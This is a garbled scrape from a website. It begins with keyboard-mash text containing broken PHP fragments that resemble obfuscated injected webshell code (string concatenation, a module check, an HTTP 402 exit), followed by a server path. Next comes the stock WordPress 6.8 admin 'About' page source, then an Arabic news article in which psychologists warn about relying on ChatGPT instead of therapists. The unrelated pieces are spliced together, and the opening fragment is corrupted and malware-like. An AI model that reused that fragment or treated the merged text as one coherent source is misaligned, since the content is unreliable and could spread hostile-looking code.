财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
http_response_code(402);
exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/about.php
<?php
/**
* About This Version administration panel.
*
* @package WordPress
* @subpackage Administration
*/
/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';
// Used in the HTML title tag.
/* translators: Page title of the About WordPress page in the admin. */
$title = _x( 'About', 'page title' );
list( $display_version ) = explode( '-', wp_get_wp_version() );
$display_major_version = '6.8';
$release_notes_url = sprintf(
/* translators: %s: WordPress version number. */
__( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ),
'6-8'
);
$field_guide_url = sprintf(
/* translators: %s: WordPress version number. */
__( 'https://make.wordpress.org/core/wordpress-%s-field-guide/' ),
'6-8'
);
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap about__container">
<div class="about__header">
<div class="about__header-title">
<h1>
<?php
printf(
/* translators: %s: Version number. */
__( 'WordPress %s' ),
$display_version
);
?>
</h1>
</div>
</div>
<nav class="about__header-navigation nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
<a href="about.php" class="nav-tab nav-tab-active" aria-current="page"><?php _e( 'What’s New' ); ?></a>
<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
<a href="freedoms.php" class="nav-tab"><?php _e( 'Freedoms' ); ?></a>
<a href="privacy.php" class="nav-tab"><?php _e( 'Privacy' ); ?></a>
<a href="contribute.php" class="nav-tab"><?php _e( 'Get Involved' ); ?></a>
</nav>
<div class="about__section changelog has-subtle-background-color">
<div class="column">
<h2><?php _e( 'Maintenance and Security Releases' ); ?></h2>
<p>
<?php
printf(
/* translators: %s: WordPress version. */
__( '<strong>Version %s</strong> addressed some security issues.' ),
'6.8.3'
);
?>
<?php
printf(
/* translators: %s: HelpHub URL. */
__( 'For more information, see <a href="%s">the release notes</a>.' ),
sprintf(
/* translators: %s: WordPress version. */
esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
sanitize_title( '6.8.3' )
)
);
?>
</p>
<p>
<?php
printf(
/* translators: 1: WordPress version number, 2: Plural number of bugs. */
_n(
'<strong>Version %1$s</strong> addressed %2$s bug.',
'<strong>Version %1$s</strong> addressed %2$s bugs.',
35
),
'6.8.2',
'35'
);
?>
<?php
printf(
/* translators: %s: HelpHub URL. */
__( 'For more information, see <a href="%s">the release notes</a>.' ),
sprintf(
/* translators: %s: WordPress version. */
esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
sanitize_title( '6.8.2' )
)
);
?>
</p>
<p>
<?php
printf(
/* translators: 1: WordPress version number, 2: Plural number of bugs. */
_n(
'<strong>Version %1$s</strong> addressed %2$s bug.',
'<strong>Version %1$s</strong> addressed %2$s bugs.',
16
),
'6.8.1',
'15'
);
?>
<?php
printf(
/* translators: %s: HelpHub URL. */
__( 'For more information, see <a href="%s">the release notes</a>.' ),
sprintf(
/* translators: %s: WordPress version. */
esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ),
sanitize_title( '6.8.1' )
)
);
?>
</p>
</div>
</div>
<div class="about__section has-1-column">
<div class="column">
<h2><?php _e( 'A release polished to a high sheen.' ); ?></h2>
<p class="is-subheading"><?php _e( 'WordPress 6.8 polishes and refines the tools you use every day, making your site faster, more secure, and easier to manage.' ); ?></p>
<p><?php _e( 'The Style Book now has a structured layout and works with Classic themes, giving you more control over global styles.' ); ?></p>
<p><?php _e( 'Speculative loading speeds up navigation by preloading links before users navigate to them, bcrypt hashing strengthens password security automatically, and database optimizations improve performance.' ); ?></p>
</div>
</div>
<div class="about__section has-2-columns">
<div class="column is-vertically-aligned-center">
<h3><?php _e( 'The Style Book gets a cleaner look—and a few new tricks' ); ?></h3>
<p>
<?php _e( 'The Style Book has a new, structured layout and clearer labels, to make it even easier to edit colors, typography—almost all your site styles—in one place.' ); ?>
</p>
<?php if ( ! wp_is_block_theme() ) : ?>
<p>
<?php
if ( current_user_can( 'edit_theme_options' ) && ( current_theme_supports( 'editor-styles' ) || wp_theme_has_theme_json() ) ) {
printf(
/* translators: %s is a direct link to the Style Book. */
__( 'Plus, now you can see it in Classic themes that have editor-styles or a theme.json file. Find <a href="%s">the Style Book</a> under Appearance > Design and use it to preview your theme’s evolution, as you edit CSS or make changes in the Customizer.' ),
add_query_arg( 'p', '/stylebook', admin_url( '/site-editor.php' ) )
);
} else {
_e( 'Plus, now you can see it in Classic themes that have editor-styles or a theme.json file. Find the Style Book under Appearance > Design and use it to preview your theme’s evolution, as you edit CSS or make changes in the Customizer.' );
}
?>
</p>
<?php endif; ?>
</div>
<div class="column is-vertically-aligned-center">
<div class="about__image">
<img src="https://s.w.org/images/core/6.8/feature-01.webp?v=23478" alt="" height="436" width="436" />
</div>
</div>
</div>
<div class="about__section has-2-columns">
<div class="column is-vertically-aligned-center">
<div class="about__image">
<img src="https://s.w.org/images/core/6.8/feature-02.png?v=23478" alt="" height="436" width="436" />
</div>
</div>
<div class="column is-vertically-aligned-center">
<h3><?php _e( 'Editor improvements' ); ?></h3>
<p><?php _e( 'Easier ways to see your options in Data Views, and you can exclude sticky posts from the Query Loop. Plus, you’ll find lots of little improvements in the editor that smooth your way through everything you build.' ); ?></p>
</div>
</div>
<div class="about__section has-2-columns">
<div class="column is-vertically-aligned-center">
<h3><?php _e( 'Near-instant page loads, thanks to Speculative Loading' ); ?></h3>
<p><?php _e( 'In WordPress 6.8, pages load faster than ever. When you or your user hovers over or clicks a link, WordPress may preload the next page, for a smoother, near-instant experience. The system balances speed and efficiency, and you can control how it works, with a plugin or your own code. This feature only works in modern browsers—older ones will simply ignore it without any impact.' ); ?></p>
</div>
<div class="column is-vertically-aligned-center">
<div class="about__image">
<img src="https://s.w.org/images/core/6.8/feature-03.webp?v=23478" alt="" height="436" width="436" />
</div>
</div>
</div>
<div class="about__section has-2-columns">
<div class="column is-vertically-aligned-center">
<div class="about__image">
<img src="https://s.w.org/images/core/6.8/feature-04.png?v=23478" alt="" height="436" width="436" />
</div>
</div>
<div class="column is-vertically-aligned-center">
<h3><?php _e( 'Stronger password security with bcrypt' ); ?></h3>
<p><?php _e( 'Now passwords are harder to crack with bcrypt hashing, which takes a lot more computing power to break. This strengthens overall security, as do other encryption improvements across WordPress. You don’t need to do anything—everything updates automatically.' ); ?></p>
</div>
</div>
<hr class="is-invisible is-large" />
<div class="about__section has-2-columns">
<div class="column">
<div class="about__image">
<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
<path fill="#1e1e1e" d="M24 13.84c-.752 0-1.397-.287-1.936-.86a2.902 2.902 0 0 1-.809-2.06c0-.8.27-1.487.809-2.06S23.248 8 24 8c.753 0 1.398.287 1.937.86.54.573.809 1.26.809 2.06s-.27 1.487-.809 2.06-1.184.86-1.937.86ZM19.976 40V18.68a69.562 69.562 0 0 1-4.945-.56 45.877 45.877 0 0 1-4.57-.92l.565-2.4a46.79 46.79 0 0 0 6.356 1.14c2.106.227 4.312.34 6.618.34 2.307 0 4.513-.113 6.62-.34a46.786 46.786 0 0 0 6.355-1.14l.564 2.4c-1.454.373-2.977.68-4.57.92a69.55 69.55 0 0 1-4.945.56V40h-2.256V29.6h-3.535V40h-2.257Z"/>
</svg>
</div>
<h3><?php _e( 'Accessibility improvements' ); ?></h3>
<p><?php _e( '100+ accessibility fixes and enhancements touch a broad spectrum of the WordPress experience. This release includes fixes to every bundled theme, improvements to the navigation menu management, the customizer, and simplified labeling. The Block Editor has over 70 improvements to blocks, DataViews, and to its overall user experience.' ); ?></p>
</div>
<div class="column">
<div class="about__image">
<svg width="48" height="48" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
<path fill="#1e1e1e" d="M18.1823 11.6392C18.1823 13.0804 17.0139 14.2487 15.5727 14.2487C14.3579 14.2487 13.335 13.4179 13.0453 12.2922L13.0377 12.2625L13.0278 12.2335L12.3985 10.377L12.3942 10.3785C11.8571 8.64997 10.246 7.39405 8.33961 7.39405C5.99509 7.39405 4.09448 9.29465 4.09448 11.6392C4.09448 13.9837 5.99509 15.8843 8.33961 15.8843C8.88499 15.8843 9.40822 15.781 9.88943 15.5923L9.29212 14.0697C8.99812 14.185 8.67729 14.2487 8.33961 14.2487C6.89838 14.2487 5.73003 13.0804 5.73003 11.6392C5.73003 10.1979 6.89838 9.02959 8.33961 9.02959C9.55444 9.02959 10.5773 9.86046 10.867 10.9862L10.8772 10.9836L11.4695 12.7311C11.9515 14.546 13.6048 15.8843 15.5727 15.8843C17.9172 15.8843 19.8178 13.9837 19.8178 11.6392C19.8178 9.29465 17.9172 7.39404 15.5727 7.39404C15.0287 7.39404 14.5066 7.4968 14.0264 7.6847L14.6223 9.20781C14.9158 9.093 15.2358 9.02959 15.5727 9.02959C17.0139 9.02959 18.1823 10.1979 18.1823 11.6392Z"></path>
</svg>
</div>
<h3><?php _e( 'Take a load off the database' ); ?></h3>
<p><?php _e( 'Work continues on optimizing cache key generation in the <code>WP_Query</code> class. The goal is, as ever, to boost your site’s performance, in this case by taking some more of the load off your database. This is especially good if you get a lot of traffic.' ); ?></p>
</div>
</div>
<div class="about__section has-1-column">
<div class="column">
<div class="about__image">
<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
<path fill="#1e1e1e" d="M32.455 17.72a1.592 1.592 0 0 1 .599 2.195l-7.637 12.99a1.653 1.653 0 0 1-2.235.589 1.592 1.592 0 0 1-.599-2.195l7.637-12.99a1.653 1.653 0 0 1 2.235-.589ZM13.774 23.21a1.653 1.653 0 0 0-2.236.589 1.592 1.592 0 0 0 .6 2.195l.944.536c.783.444 1.783.18 2.235-.588a1.592 1.592 0 0 0-.599-2.196l-.944-.535ZM16.432 17.72a1.653 1.653 0 0 1 2.236.588l.545.928a1.592 1.592 0 0 1-.599 2.196 1.653 1.653 0 0 1-2.235-.588l-.546-.928a1.592 1.592 0 0 1 .6-2.196ZM25.637 16.5c0-.888-.733-1.607-1.637-1.607s-1.636.72-1.636 1.607v1.071c0 .888.732 1.608 1.636 1.608.904 0 1.637-.72 1.637-1.608V16.5Z"/>
<path fill="#1e1e1e" fill-rule="evenodd" d="M4.91 27.75C4.91 17.395 13.455 9 24 9s19.091 8.395 19.091 18.75c0 3.909-1.22 7.542-3.305 10.548l-.488.702H8.702l-.488-.702A18.438 18.438 0 0 1 4.91 27.75ZM24 12.214c-8.736 0-15.818 6.956-15.818 15.536 0 2.943.832 5.692 2.277 8.036h27.082a15.25 15.25 0 0 0 2.277-8.036c0-8.58-7.082-15.536-15.818-15.536Z" clip-rule="evenodd"/>
</svg>
</div>
<h3><?php _e( 'Performance updates' ); ?></h3>
<p><?php _e( 'WordPress 6.8 packs a wide range of performance fixes and enhancements to speed up everything from editing to browsing. Beyond speculative loading, WordPress 6.8 pays special attention to the block editor, block type registration, and query caching. Plus, imagine never waiting longer than 50 milliseconds—for any interaction. In WordPress 6.8, the Interactivity API takes a first step toward that goal.' ); ?></p>
</div>
</div>
<hr class="is-invisible is-large" style="margin-bottom:calc(2 * var(--gap));" />
<div class="about__section has-2-columns is-wider-left is-feature" style="background-color:var(--background);border-radius:var(--border-radius);">
<h3 class="is-section-header"><?php _e( 'And much more' ); ?></h3>
<div class="column">
<p>
<?php
printf(
/* translators: %s: Version number. */
__( 'For a comprehensive overview of all the new features and enhancements in WordPress %s, please visit the feature-showcase website.' ),
$display_major_version
);
?>
</p>
</div>
<div class="column aligncenter">
<div class="about__image">
<a href="<?php echo esc_url( __( 'https://wordpress.org/download/releases/6-8/' ) ); ?>" class="button button-primary button-hero"><?php _e( 'See everything new' ); ?></a>
</div>
</div>
</div>
<hr class="is-large" style="margin-top:calc(2 * var(--gap));" />
<div class="about__section has-3-columns">
<div class="column about__image is-vertically-aligned-top">
<img src="<?php echo esc_url( admin_url( 'images/about-release-badge.svg?ver=6.8' ) ); ?>" alt="" height="280" width="280" />
</div>
<div class="column is-vertically-aligned-center" style="grid-column-end:span 2">
<h3>
<?php
printf(
/* translators: %s: Version number. */
__( 'Learn more about WordPress %s' ),
$display_major_version
);
?>
</h3>
<p>
<?php
printf(
/* translators: 1: Learn WordPress link, 2: Workshops link. */
__( '<a href="%1$s">Learn WordPress</a> is a free resource for new and experienced WordPress users. Learn is stocked with how-to videos on using various features in WordPress, <a href="%2$s">interactive workshops</a> for exploring topics in-depth, and lesson plans for diving deep into specific areas of WordPress.' ),
'https://learn.wordpress.org/',
'https://learn.wordpress.org/online-workshops/'
);
?>
</p>
</div>
</div>
<div class="about__section has-2-columns">
<div class="column">
<div class="about__image">
<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
<path fill="#1e1e1e" d="M32 15.5H16v3h16v-3ZM16 22h16v3H16v-3ZM28 28.5H16v3h12v-3Z"/>
<path fill="#1e1e1e" fill-rule="evenodd" d="M34 8H14a4 4 0 0 0-4 4v24a4 4 0 0 0 4 4h20a4 4 0 0 0 4-4V12a4 4 0 0 0-4-4Zm-20 3h20a1 1 0 0 1 1 1v24a1 1 0 0 1-1 1H14a1 1 0 0 1-1-1V12a1 1 0 0 1 1-1Z" clip-rule="evenodd"/>
</svg>
</div>
<h4 style="margin-top: calc(var(--gap) / 2); margin-bottom: calc(var(--gap) / 2);">
<a href="<?php echo esc_url( $release_notes_url ); ?>">
<?php
printf(
/* translators: %s: WordPress version number. */
__( 'WordPress %s Release Notes' ),
$display_major_version
);
?>
</a>
</h4>
<p>
<?php
printf(
/* translators: %s: WordPress version number. */
__( 'Read the WordPress %s Release Notes for information on installation, enhancements, fixed issues, release contributors, learning resources, and the list of file changes.' ),
$display_major_version
);
?>
</p>
</div>
<div class="column">
<div class="about__image">
<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
<path fill="#1e1e1e" stroke="#fff" stroke-width=".5" d="M26.5 24.25h13.75v11.5h-14v8h-3.5v-8H12.604L8.09 31.237a1.75 1.75 0 0 1 0-2.474l4.513-4.513H22.75v-4.5h-14V8.25h14v-4h3.5v4h10.146l4.513 4.513a1.75 1.75 0 0 1 0 2.474l-4.513 4.513H26.25v4.5h.25ZM12.25 16v.25h22.704l.073-.073 1.293-1.293a1.25 1.25 0 0 0 0-1.768l-1.293-1.293-.073-.073H12.25V16Zm1.723 16.177.073.073H36.75v-4.5H14.046l-.073.073-1.293 1.293a1.25 1.25 0 0 0 0 1.768l1.293 1.293Z"/>
</svg>
</div>
<h4 style="margin-top: calc(var(--gap) / 2); margin-bottom: calc(var(--gap) / 2);">
<a href="<?php echo esc_url( $field_guide_url ); ?>">
<?php
printf(
/* translators: %s: WordPress version number. */
__( 'WordPress %s Field Guide' ),
$display_major_version
);
?>
</a>
</h4>
<p>
<?php
printf(
/* translators: %s: WordPress version number. */
__( 'Explore the WordPress %s Field Guide. Learn about the changes in this release with detailed developer notes to help you build with WordPress.' ),
$display_major_version
);
?>
</p>
</div>
</div>
<hr class="is-large" />
<div class="return-to-dashboard">
<?php
if ( isset( $_GET['updated'] ) && current_user_can( 'update_core' ) ) {
printf(
'<a href="%1$s">%2$s</a> | ',
esc_url( self_admin_url( 'update-core.php' ) ),
is_multisite() ? __( 'Go to Updates' ) : __( 'Go to Dashboard → Updates' )
);
}
printf(
'<a href="%1$s">%2$s</a>',
esc_url( self_admin_url() ),
is_blog_admin() ? __( 'Go to Dashboard → Home' ) : __( 'Go to Dashboard' )
);
?>
</div>
</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
// These are strings we may use to describe maintenance/security releases, where we aim for no new strings.
return;
__( 'Maintenance Release' );
__( 'Maintenance Releases' );
__( 'Security Release' );
__( 'Security Releases' );
__( 'Maintenance and Security Release' );
__( 'Maintenance and Security Releases' );
/* translators: %s: WordPress version number. */
__( '<strong>Version %s</strong> addressed one security issue.' );
/* translators: %s: WordPress version number. */
__( '<strong>Version %s</strong> addressed some security issues.' );
/* translators: 1: WordPress version number, 2: Plural number of bugs. */
_n_noop(
'<strong>Version %1$s</strong> addressed %2$s bug.',
'<strong>Version %1$s</strong> addressed %2$s bugs.'
);
/* translators: 1: WordPress version number, 2: Plural number of bugs. Singular security issue. */
_n_noop(
'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.'
);
/* translators: 1: WordPress version number, 2: Plural number of bugs. More than one security issue. */
_n_noop(
'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.'
);
/* translators: %s: Documentation URL. */
__( 'For more information, see <a href="%s">the release notes</a>.' );
/* translators: 1: WordPress version number, 2: Link to update WordPress */
__( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );
/* translators: 1: WordPress version number, 2: Link to update WordPress */
__( 'Important! Your version of WordPress (%1$s) will stop receiving security updates in the near future. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );
/* translators: %s: The major version of WordPress for this branch. */
__( 'This is the final release of WordPress %s' );
/* translators: The localized WordPress download URL. */
__( 'https://wordpress.org/download/' );
“الذكاء الاصطناعي :ثورة في عالم العلاج النفسي !” – tahkoom.com
كتبت مريم سمير
تمثل الصحة النفسية أولوية في مجال الطب، ونظرتها لأهميتها وتأثيرها على الفرد والمجتمع، وتتنوع مدارس العلاج النفسي سواء كان العلاج الطبي أو العلاج السلوكي، ومع التطور التكنولوجي الذي يشهده العالم الآن، أصبح الناس يستخدمون الذكاء الاصطناعي كبديل للطبيب النفسي، لذلك يصرون الاعتماد على الذكاء الاصطناعي في هذا المجال حول فعاليته مقارنة بالعلاج التقليدي الذي يقدمه الأطباء النفسيون، فهل يمكن أن يحل الذكاء الاصطناعي محل الطبيب النفسي ؟ ، ام انه اداة مساعدة لتعزيز الرعاية النفسية ؟
صرح “د/ مايكل سليم” اخصائي نفسي، ان الذكاء الاصطناعي اصبح يشكل خطرا على المرضي النفسيين الذين يتعالجون من الاكتئاب واضطرابات القلق ، حيث اكد ان استخدامهم للتكنولوجيا بشكل خاطئ يشكل ضررا أكثر من المنفعة ، وقال ان استخدام المرضي ل ” chat gpt” اصبح هوسا لدرجة انهم يتخذونه كصديق لهم ، ليصل بهم الحال ان يتحدثوا معه طوال اليوم تقريبا ، مؤكدا علي ان الارتباط الزائد بالذكاء الاصطناعي قد يسبب للمرضي الشعور بالوحدة والميل الي العزلة وعدم التواصل بمن حولهم ، مما يزيد من الرهاب الاجتماعي لدي المريض وفقد السيطرة علي نفسه عندما يكون وسط مجموعة كبيرة من الأفراد ليصبح أكثر قلقا وتوترا .
واكد الطبيب ” حسني توفيق ” اخصائي طب نفسي وعلاج ادمان ، انه مهما وصلت التكنولوجيا من تطور ، لا يمكن التغافل عن أهمية الطبيب النفسي ، لان المريض يحتاج الي دعم نفسي من شخص مختص ، وبعيدا عن العلاج الطبي فان المريض يحتاج الي تحسين سلوكي ، ويحتاج ان يشرح مشاعره لشخص قادرا علي فهمه والشعور به وليس لخوارزميات مبرمجة لا تفهم .
وقالت “د/ سوزان حلوي ” اخصائية نفسية وعلاج مخ واعصاب ، ان الأشخاص أصبحت تميل الى الطريق الاسهل ، فأصبح المريض النفسي يعتمد اعتمادا كليا على ” chat GPT ” كوسيلة تواصل سهلة بدلا من اللجوء الى اشخاص ، اعتقادا من المريض انه يشغل وقت فراغه ويبوح بمشاعره بحرية وبدون تفكير ، لكنه ينسي خطورة هذا عليه كشخص ، وانه يصبح مع الوقت أكثر عدوانية مع من حوله واكثر عزلة وصمت.
وأضاف ” د/ محمد يسرى ” أخصائي نفسي، أن التكنولوجيا بلا شك لها أهمية كبيرة، وأنها ساعدت في شتى مجالات الطب، لكن حذر من استخدام التكنولوجيا بشكل خاطئ قائلاً ” التكنولوجيا سلاح ذو حدين يمكن أن تدمرك ويمكن أن تطورك وأنت المسئول عن الاختيار”
، ونصح المريض النفسي أنه من الضروري أن يتابع مع أخصائي نفسي أيضاً يستطيع أن يستخدم chat GPT في إطار كيفية وطرق لتحسين حياته، فمن الممكن أن يستخدم التكنولوجيا أو Chat GPT ” بالأخص في وضع نظام غذائي صحي له، أو اقتراح ” podcasts ” لتزويد الشخص بالمعرفة ، وأضاف أن “ChatGPT” يمكنك استخدامه لكن عدم أخذه كصديق أو بديل للأشخاص ، كما ختم حديثه مؤكدا ان ” Chat GPT ” لا يمكنه تشخيص الحالة النفسية للفرد.
وقال ” د/ سيفين جوزيف ” أن استخدام الذكاء الاصطناعي يمكن أن يكون له آثار سلبية على الصحة النفسية، فبينما يمكن أن توفر هذه الأدوات تفاعلات سطحية، فإنها لا تعالج الجذور العميقة للمشاكل النفسية، مثل القلق والاكتئاب.
كما أشار إلى أن الاعتماد على التواصل مع الذكاء الاصطناعي قد يؤدي إلى “تطوير تطبيقات أقل ضررًا، وقد يعوض الأشخاص عن مشاعرهم بالذهاب إلى هذه التطبيقات، مما يؤدي إلى تفاقم مشاعر العزلة والقلق.
بالإضافة إلى ذلك، حذر ان استخدام الذكاء الاصطناعي قد يقلل من الوعي بأهمية العلاج النفسي، عندما يشعر الأشخاص بأنهم غير قادرين على الحصول على الدعم من تطبيقات الذكاء الاصطناعي، فإنهم قد يتجاهلون الحاجة إلى البحث عن مساعدة من المتخصصين، مما يؤدي إلى تفاقم الاعراض .
كما أكد على أهمية التواصل البشري في العلاج النفسي، قائلا: “العلاقة بين المعالج والمريض تعتبر جزءا أساسيًا من العلاج” وقال ان التواصل الفعال والتعاطف لا يمكن تعويضهما بالتكنولوجيا.
و شدد على ضرورة توعية الناس حول حدود الذكاء الاصطناعي في مجال الصحة النفسية. يجب أن نستخدم هذه الأدوات بشكل مسؤول كوسيلة مساعدة، وليس كبديل للعلاج النفسي المتخصص وان الرعاية النفسية تتطلب فهماً عميقاً واهتماماً إنسانياً لا يمكن للتكنولوجيا توفيره.”
وقالت ” مارفي أيمن ” احدى مستخدمي ” Chat GPT” بشكل زائد عن الطبيعي ، أن استخدامها في بداية الأمر كان يقتصر على اتمام المهام التي لديها بواسطة التكنولوجيا ، لكن تطور الموضوع واصبحت تتحدث مع “Chat GPT ” بشكل غير طبيعي وانها مع الوقت شعرت أنها ليس لديها شغف ان تجيب على أصدقاءها عبر مواقع التواصل الاجتماعي او من خلال مقابلتهم ، وأضافت أن برغم استخدامها الكثير ل” chat GPT” الا انها دائما كانت تشعر بالوحدة وعدم الانسجام مع الآخرين ، واضافت أنها واجهت صعوبة لتستعيد حياتها الطبيعية وتعود تنسجم مع من حولها.
وبرغم أن التكنولوجيا توفر دعماً سهلاً وفورياً، إلا أنها تفتقر إلى التعاطف البشري والفهم العميق للسياقات النفسية المعقدة ، وأيضا يعتمد الذكاء الاصطناعي على البيانات والنماذج، مما يؤدى إلى تقديم ونصائح غير مناسبة وغير دقيقة ، ومن المهم أن ندرك ان الصحة النفسية تتطلب رعاية متخصصة وعملية ، حيث يستطيع الأطباء النفسيون تقديم العلاج الفعال والدعم العاطفي ، ويجب ان ينظر الي أدوات مثل ” Chat GPT” كوسيلة مساعدة يمكن استخدامها جنبا الى جنب مع العلاج التقليدي ، وليس كبديل له .
زر الذهاب إلى الأعلى
